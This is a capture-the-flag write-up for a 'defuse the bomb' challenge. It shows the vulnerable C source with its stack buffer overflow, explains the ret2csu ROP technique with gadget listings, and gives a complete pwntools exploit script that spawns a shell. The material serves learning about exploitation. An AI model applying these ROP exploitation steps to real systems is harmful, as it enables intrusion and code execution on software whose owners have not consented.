#rop #ret2csu
# Understanding the Challenge
Source and compile options are given
## Compile Options
`clang vuln.c -o vuln`
Using `clang` to compile, only `NX` is enabled.
## Source
```c
#include <stdio.h>
#include <unistd.h>
// clang vuln.c -o vuln Gcc kept optimising out defuse_bomb even with -O0 so I used clang for this
void bomb() {
puts("We all died");
}
int defuse_bomb(long wire_one, long wire_two, long wire_three) {
puts("Good luck!");//
if(wire_one == 0xdeadbeefdeadbeef && wire_two == 0xf00dd00dcafebabe) {
char* cmd = "/bin/sh";
puts("You are making some nice progress!");
if(wire_three == 0x1337c0ded457c0de) {
puts("You saved the world!");
execve(cmd, NULL, NULL);
}
}
bomb();
}
void main() {
char buf[0x20];
alarm(6);
printf("A bomb is about to go off, please defuse it quick!\n");
printf("You can find your defuse kit at %p!\n", defuse_bomb);
fgets(buf,0x200,stdin);
}
```
# The Vuln
In the main function, we have a buffer overflow:
```c
char buf[0x20];
...
fgets(buf,0x200,stdin);
```
HLIL
```python
return fgets(buf: &var_28, n: 0x200, fp: stdin)
```
Will take 0x28+0x8 bytes to overwrite `saved_rip`
# The Exploit
We need to call the `defuse_bomb` function with the correct arguments. There are 3 arguments so we need to control `rdi`,`rsi`,`rdx`
We can easily find `pop rdi` and`pop rsi` in the binary:
```
0x0000000000401323 : pop rdi ; ret
0x0000000000401321 : pop rsi ; pop r15 ; ret
```
Unfortunately, we dont have a gadget to control `rdx`
## ret2csu
Can read more of `ret2csu` on arm at : [https://debugmen.dev/ctf-writeup/2021/06/05/babyarmrop.html](https://debugmen.dev/ctf-writeup/2021/06/05/babyarmrop.html)
ret2csu method consits of 2 gadgets
- popper
- caller
These gadgets are found in `__libc_csu_init`
### Popper
```
0040131a 5b pop rbx {__saved_rbx}
0040131b 5d pop rbp {__saved_rbp}
0040131c 415c pop r12 {__saved_r12}
0040131e 415d pop r13 {__saved_r13}
00401320 415e pop r14 {__saved_r14}
00401322 415f pop r15 {__saved_r15}
00401324 c3 retn {__return_addr}
```
### Caller
```
00401300 4c89f2 mov rdx, r14
00401303 4c89ee mov rsi, r13
00401306 4489e7 mov edi, r12d
00401309 41ff14df call qword [r15+rbx*8]
0040130d 4883c301 add rbx, 0x1
00401311 4839dd cmp rbp, rbx
00401314 75ea jne 0x401300
```
With the popper gadget, we control a bunch of registers, these registers are used in the caller gadget.
We control:
- `r14` which becomes `rdx`
- `r13` which becomes `rsi`
- `r12` which becomes `edi`
- `r15` which is a pointer to what we want to call
- `rbx` which we want to be `0` so it doesnt affect out `r15` pointer
- `rbp` which we want to be `1` so that we dont take the jump
We want to find a pointer to a function so when the pointer gets derefernced, there is a valid function that does not affect the registers we just set up.
`_init` is a good choice:
![[Pasted image 20210721225340.png]]
And there is a pointer to `_init`:
![[Pasted image 20210721225422.png]]
Because of the `mov edi, r12d` in the csu_caller, we can't the full 64bit argument to `edi` so we have to add more to the ropchain to set `rdi` to the full qword.
# Solve
```python
from pwn import *
context.binary = elf = ELF("./vuln")
io = elf.process()
#gdb.attach(io)
csu_popper = 0x0040131a
csu_caller = 0x00401300
init_pointer = 0x403e38
pop_rdi = 0x401323
payload = b""
payload += b"A"*0x28
payload += p64(csu_popper)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(0) # r12
payload += p64(0xf00dd00dcafebabe) # r13
payload += p64(0x1337c0ded457c0de) # r14
payload += p64(init_pointer) # r15
payload += p64(csu_caller)
payload += b"A"*8*7
payload += p64(pop_rdi)
payload += p64(0xdeadbeefdeadbeef)
payload += p64(elf.symbols['defuse_bomb'])
io.sendline(payload)
io.interactive()
```